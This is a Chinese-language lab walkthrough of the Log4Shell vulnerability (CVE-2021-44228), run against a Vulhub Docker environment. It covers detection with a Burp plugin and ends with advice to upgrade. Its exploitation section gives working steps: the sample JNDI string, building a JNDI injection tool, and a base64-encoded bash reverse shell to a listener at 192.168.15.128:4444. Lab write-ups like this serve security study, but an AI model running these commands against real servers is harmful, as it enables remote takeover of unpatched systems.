1、简介
CVE-2021-44228,被广泛称为“Log4Shell”,是一个高危的远程代码执行漏洞,影响了Apache Log4j 2,这是一个在Java应用程序中广泛使用的日志记录库。
2、漏洞原理
这个漏洞的根本原因在于Log4j 2的日志消息查找功能,该功能允许插入特定的模式,以便从不同的数据源动态获取信息。攻击者可以通过向Log4j传递一个恶意构造的字符串操纵JNDI(Java Naming and Directory Interface)查找,以执行LDAP(轻量级目录访问协议)或其他JNDI支持的查询。例如,攻击者可以提交一个包含${jndi:ldap://attacker_controlled_server/payload}
的字符串到日志消息中。如果这个消息被记录,Log4j会尝试解析这个字符串,并进行JNDI查询到指定的URL,这可以导致加载并执行攻击者指定的恶意代码。
3、影响版本
Apache Log4j 2.x < 2.15.0-rc2
4、环境搭建
本文用到的是Vulhub搭建的环境,如何下载Vulhub并启动可参考这里
进入到CVE-2021-44228目录,执行如下命令启动环境。
docker-compose up -d
查看环境信息
docker-compose ps
浏览器访问搭建环境的IP加端口,出现以下界面证明搭建成功。
5、漏洞验证
本文漏洞验证用的是burp插件Log4j2Scan,插件地址
本文是之前安装好的,简单说一下如何安装。
配置Log4j2Scan插件响应地址为CEYE的,如无账号,注册即可,将CEYE生成的地址与API Token填写至插件中并应用。
浏览器与burp链接后在整个存在漏洞的界面随意点点(主要是为了找到注入点),Log4j2Scan插件告警存在远程命令执行漏洞。
手动验证,将存在漏洞的数据包重新发送,CEYE有回显,证明漏洞的确存在。
6、漏洞利用
首先下载JNDI注入工具,git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
进入JNDI-Injection-Exploit目录,执行如下命令进行编译。
mvn clean package -DskipTests
构造反弹shell命令,并进行base64编码。编码地址
bash -i >& /dev/tcp/192.168.15.128/4444 0>&1
进入JNDI-Injection-Exploit/target目录执行如下命令,获取payload。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"
另起一个终端监听4444端口(反弹命令中的端口是多少,就监听多少就行)
将构造好的恶意类带入到url中访问
LDAP服务器收到回显,同样监听处成功反弹shell。
7、修复建议
官网下载不受影响的版本,及时更新。